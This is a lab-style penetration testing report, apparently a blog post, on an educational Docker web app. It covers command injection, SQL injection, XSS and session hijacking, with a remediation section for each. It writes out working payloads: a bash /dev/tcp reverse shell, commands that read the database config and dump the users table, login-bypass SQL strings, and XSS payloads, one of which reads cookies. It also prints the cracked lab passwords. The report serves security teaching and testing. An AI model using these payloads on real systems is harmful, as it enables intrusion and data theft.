Penetration Testing Report

Edoardo 🇮🇹 Jul 12, 2021 13 min read

Executive Summary #

This report describes the Vulnerability Assessment and Penetration Testing (VAPT) analysis that was carried out on the following Docker container: gabrielec/pt2021b for educational purposes.

The target was analyzed assuming it is a remote machine (black-box testing) and the attacks were conducted with the level of access that any web user would have.

A quick examination of the web application revealed login/signup pages, and a password-protected page with an input form to generate a discount.

In particular, the discount page was found to be vulnerable to a highly dangerous remote code injection vulnerability, which was used to obtain interactive access to the underlying operating system and dump all the database information, containing ids, usernames and passwords. The ids and passwords were hashed, but it was relatively easy to retrieve them in plain text since they were all very weak.

Both login and signup forms also ended up being vulnerable to SQL Injection, which can be exploited to bypass authentication and reveal sensitive data.

Further examination revealed the discount page also being vulnerable to cross-site scripting (XSS) vulnerability, both reflected and DOM based. These client-side vulnerabilities can both be exploited by an attacker, for example by loading a malicious script into the victim’s browser or by changing the page’s contents.

Lastly, the server-side handling of authentication sessions was found to be very weak, as it resulted being vulnerable to session hijacking, which can be used by an attacker to gain untrusted authorization.

Methodology used #

The assessment was conducted in accordance with the recommendations outlined in OWASP Web Application Security Testing Checklist, in particular:

  • Information Gathering
    • Manually explore the site
    • Spider/crawl for missed or hidden content
    • Identify technologies used
    • Identify application entry points
  • Network Scanning
    • Identify all hostnames and ports
  • Manual Vulnerability Assessment
    • Authentication
      • Test for authentication bypass
      • Test for session hijacking
    • Data Validation
      • Test for Reflected/Stored/DOM-based Cross Site Scripting
      • Test for SQL Injection
      • Test for Code Injection
  • Exploitation
  • Post-Exploitation

Findings #

For the purpose of this assessment, the Docker container was run on a dedicated Linux machine and was made available on the subnet with local IP 192.168.1.161, using the command docker run —-rm gabriele/pt2021b:

Running the docker container

In an attempt to identify the potential attack surface, the open ports exposed by the container were inspected using the command docker ps. As it turns out, the only service running is HTTP on port 80:

Making sure only port 80 is exposed from the container

The webserver was found to be running an Apache/2.4.38 web server on port 80 and powered by PHP 7.2.34. This information was obtained using banner grabbing techniques, in particular by using the telnet TCP protocol to request page headers through the HEAD HTTP method:

Banner grabbing reveals server and PHP version

The web application was then manually explored using a web browser, to gather all possible vulnerable entry points. Here’s how the index page looks like:

Initial web page

This index page quickly revealed two more URLs:

  • A login page, accessible at 192.168.1.161/login.php
  • A signup page, accessible at 192.168.1.161/signup.php

Both web pages have input fields prompting for a username and a password.

After signing up with a dummy account, two more URLs were revealed:

  • A welcome page, login protected, showing a logout button and accessible at 192.168.1.161/welcome.php
  • A page to generate discount codes, login protected, showing an input field and accessible at 192.168.1.161/check.php
Login web page
Signup web page
Welcome web page
Discount web page

Below are all the findings that were gathered, ordered by risk level (priority). All vulnerabilities include a detailed description, instructions and evidences for replicating the attacks (such as code snippets and screenshots) and a remediation plan with suggestions to improve security.

Remote Command Execution in discount page #

Priority: Very High

The input field in discount page is tainted, and it forwards the input, without proper sanitization, to an API call (most likely PHP’s shell_exec) in order to execute some command via shell.

Proof of concept #

By using x | id as input, the server returns the current user/group ids of the server (www-data).

RCE PoC

Even though the server appears to be blacklisting certain command chaining characters (&& and ;), other alternatives are still allowed: the pipe command (|), the background command (&) and the OR command (||). This is a very severe vulnerability as it allows the attacker to execute commands remotely on the server.

Exploitation #

There are many ways this vulnerability can be exploited by an attacker.

  1. Listing server files

By combining the pipe command with the ls command, we can list all PHP files that are in the /var/www/html directory:

Listing server files with ls command

This reveals some sort of secret file named 213c06c51ed7df6f08e02866c7758cb8.php which appears to be the PHPinfo page, disclosing a large amount of information (PHP version, server information, configuration settings, environment variables…). For example, we now know that MySQL version is 5.0.12.

The secret PHPinfo page reveals a lot of information
  1. Disclosing database configuration

The config.php listed above is typically used to store sensitive variables, such as database usernames and password. By using the cat command in combination with sed (to strip PHP tag, in order to avoid the browser interpreting the code as PHP), we are able to output the contents of this file in the web page:

Exposing database credentials from config.php file

Command used: x | cat config.php | sed 's/<?php//g'

This reveals a lot of sensitive information that will be used at a later stage:

  • The database is MySQL and running on the same server (127.0.0.1)
  • Database username is admin
  • Database password is dbpassword
  • Database name is citizens
  1. Reverse shell binding

It was easy to gain persistence using reverse shell binding. A bind shell is set up on the target host and binds to a specific port to listens for an incoming connection from the attack box. The steps are:

  • Set up a Netcat listener on the attacker host on a certain port: nc -nvlp <PORT>
  • Connect to our host from the target host on the same port: a | /bin/bash -c 'bash -i > /dev/tcp/<IP>/<PORT> 0>&1'
Connecting to the bind shell
  • Wait until the connection is established, and then issue commands on the target host from the attacker host:
Setting up a bind shell and then issuing remote commands

Post-Exploitation: Data Collection #

Having a remote shell working, and knowing the database credentials, the mysql command line tool can be remotely used to connect to the database that is running on port 3306 and exfiltrate data:

Enumerating tables and users in database

In particular the following commands were used:

  • mysql -u admin -pdbpassword -h 127.0.0.1 citizens -e "show tables;” to show all tables in database citizens
  • mysql -u admin -pdbpassword -h 127.0.0.1 citizens -e "select * from users;” to enumerate all rows in table users

The table users consists in three columns (id, username, password). The extracted content is also reported below:

idusernamepassword
a87ff679a2f3e71d9181a67b7542122ctonfana1d12c29d7fecc9b97d3be41786d5f5bf
c4ca4238a0b923820dcc509a6f75849borici2d61bfbcb50d147b98b46529894646f2
c81e728d9d4c2f636f067f89cc14862cducalea5e9f44808f542c116c41af5b48fb0db
e4da3b7fbbce2345d7772b0674a318d5allegra3e3694da029d88178b66e78677446bf0
eccbc87e4b5ce2fe28308fd9f2a7baf3tito124580a65148a50fab435f23b18c6026

Both usernames and password are 32-characters strings, which strongly suggests that a 128-bit hashing algorithm was applied to the original words, such as MD5. This algorithm in general is not reversible, but the original word can be found if it’s weak enough. Using various online resources that provide md5 hash reverse search (such as md5online and cmd5), it’s easy to decrypt both ids and passwords:

idusernamepassword
1oricicopycat
2ducalefirethrower
3titonylon
4tonfanaRedAlert
5allegra2vs1

The data was confirmed to be valid by logging in with any username:password pair that was found.

Remediation and suggestions #

Due to the high potential impact of this vulnerability, it should be fixed as soon as possible. The fix consists in properly sanitizing user input in the discount field page:

  • Blacklist all command chaining characters, such as |, || and &
  • Even better, consider using PHP built-in function escapeshellarg to correctly escape the string to be used as a single shell argument.

Some other security recommendations:

  • Remove all pages that call phpinfo() from the web server
  • Use stronger passwords that are more difficult to crack (or suggest the users to do so). This includes a minimum character count, with uppercase letters, special characters and so on.
  • Instead of plain MD5, considering using a random salt combined with better hashing algorithms such as bcrypt or scrypt.

SQL Injection in login/signup page #

Priority: High

The login page was found to be vulnerable to SQL injection. Successful exploitation of this vulnerability results in authentication bypass and gathering sensitive information from the database.

Proof of concept #

Using a sleep SQL command as the username and any non-empty string as password results in the web page halting for 3 seconds.

Using a SLEEP(3) SQL command as a PoC of SQL injection

Command used: ' OR SLEEP(3)#. The same behavior can be observed in the signup page.

Exploitation: authentication bypass #

Using this vulnerability, the login page can be easily bypassed by injecting a custom payload in the username field, for example:

  • ' OR True LIMIT 1# to bypass the login page (the LIMIT 1 is required because there seems to be a check on the number of rows returned from the query)
Bypassing user authentication using SQL injection
  • <EXISTING_USERNAME>'# to login as any existing user

Further exploitation can be carried through Blind SQL injection. When no data is printed, any observable behavior (side effect) can be used to infer it. The first step in blind SQL is to identify a baseline that provides a ground truth intepretation of queries. In this way any arbitrary expression can be submitted to the database to check whether it evaluates to true or false. For example:

  • ' OR True LIMIT 1# logs the user in and redirects to the welcome page
  • ' OR False LIMIT 1# outputs an error (Username or password incorrect, try again)

This means true or false have different side effects. Now true/false can be replaced with a complex expression in order to evaluate it. For example, to check if a certain table exists:

' OR EXISTS(SELECT * FROM information_schema.tables where table_name LIKE 'users') LIMIT 1;#
Checking if a table exists using blind SQLi

If we get redirected to the welcome page (and we do), then we know the table users exists; on the other hand, if we get the incorrect username error, we know for sure the table doesn’t exist.

Note that in the expression above, LIKE was used because the = symbol appears to be blacklisted by the server.

This technique can also be used to implement binary search and can lead to disclosing sensitive information from the database.

Remediation and suggestions #

The SQL injection in login and signup page can be easily fixed by enforcing input sanitization. There are two options:

  1. Escaping the special characters in user input (blacklisting some characters is not enough), in particular by using PHP’s built-in function called mysql_real_escape_string
  2. Using a parameterized query, by leveraging MySQLi’s prepare statements

Cross-site scripting (XSS) in discount page #

Priority: Medium

As we have already seen, the input field in discount page is tainted. An attacker can use this field to execute malicious scripts directly in the victim’s web browser. There are two types of XSS vulnerabilities present in this web page:

  • Reflected/Non-persistent cross-site scripting
  • DOM Based cross-site scripting

Reflected XSS #

The reflected XSS condition is met when a website employs user input in HTML pages returned to the user’s browser, without first validating the input.

Proof of concept #

By using a payload such as x | echo pt2021b we see that the text pt2021b is displayed in the web page’s HTML, without any sanitization. This is called reflected cross-site scripting (as opposed to the stored/persistent variant, where the server stores user input and later unsafely serves it to other users).

PoC of reflected XSS in discount page

This vulnerability is particularly dangerous since an attacker can use it to load a malicious script. For example one can include any JavaScript code:

x | echo "<script>alert('xss')</script>"
Including JavaScript in the HTML page

And it will be executed right in the victim’s browser:

JavaScript code is executed by the browser
Remediation and suggestions #

User input should always be validated by the server. In this case, there are a few options:

  • Blacklist <script></script> (case insensitive) tags to prevent JavaScript injection
  • Consider using PHP’s built in htmlentities or htmlspecialchars functions to convert any HTML tag into their encoding, meaning they won’t be processed as standard HTML
  • Make use of PHP filters to sanitize and validate input (for example, if the receipt number is only made of digits)

DOM Based XSS #

DOM Based XSS is an XSS attack where the payload is executed as a result of modifying the Document Object Model (DOM) environment in the victim’s browser. This is different than reflected XSS, because the attack is injected into the application in the client directly, as opposed to the result of a server- side processing of the request.

Proof of concept #

By using the following payload:

"/><b>pt2021b</b><!

in the input field, we see a new <b> tag is added to the page’s HTML with the specified text (by overflowing the value attributed of the <input> tag):

PoC DOM Based XSS (1/2)
PoC DOM Based XSS (2/2)

This vulnerability can be exploited in many ways. For example:

  • "/onclick=alert()// will display the alert (or any other potentially malicious logic) on every click of the input field
  • "/><img src=x onerror="alert()// will show the popup as soon as the field is submitted, by embedding an image with a fake url and displaying the alert in the onerror callback
  • "/><svg onload=alert()// will also show show the alert as soon as the field is submitted, by leveraging svg’s onload callback
  • "/><script>alert()</script// will embed the <script> tag directly into the victim’s browser
Remediation and suggestions #

The user input should be sanitized on the server-side, and should never be echoed directly in the DOM. The same suggestions made for reflected XSS also apply in this context.

PHP Session Hijacking #

Priority: Medium

Session hijacking is an attack where an attacker steals the victim’s session cookie and uses it for their own browser session. The server is then fooled into treating the attacker’s connection as the original user’s valid session.

Proof of concept #

Steps to reproduce:

  1. Log in as a regular user and extract the session id (named PHPSESSID) from the browser’s cookies:
Extracting the PHPSESSID from a logged in user’s cookies
  1. From a different window/browser/machine, log in as another user (this will result in having a different session id):
Logging in with another user
  1. From this browser’s storage panel, replace the PHPSESSID with the previously extracted one, and refresh the page; you will now be regularly logged in as the victim:
Replacing the session id results in being logged in as the victim

Note that the session identifier could also be obtained by using the previously mentioned XSS vulnerability in the discount page, using a payload such as:

"/><script>alert(document.cookie)</script//
Extracting cookies through XSS (1/2)
Extracting cookies through XSS (2/2)

Remediation and suggestions #

To protect against session hijacking, consider more elaborate ways to identify the user against a session. For example, there could be an additional check for the user agent, IP address or using another cookie.

Conclusion #

The overall risk identified to the gabrielec/pt2021b Docker container, as a result of the penetration testing acitivities described above, is very high. An external attacker is able to take over the system and exfiltrate sensitive data, such as all the database information, containing ids, usernames and passwords.

It is reasonable to believe that a malicious entity would also be able to successfully bypass the authentication and login as any existing user. Through more elaborate steps, victims can also be targeted by client-side attacks.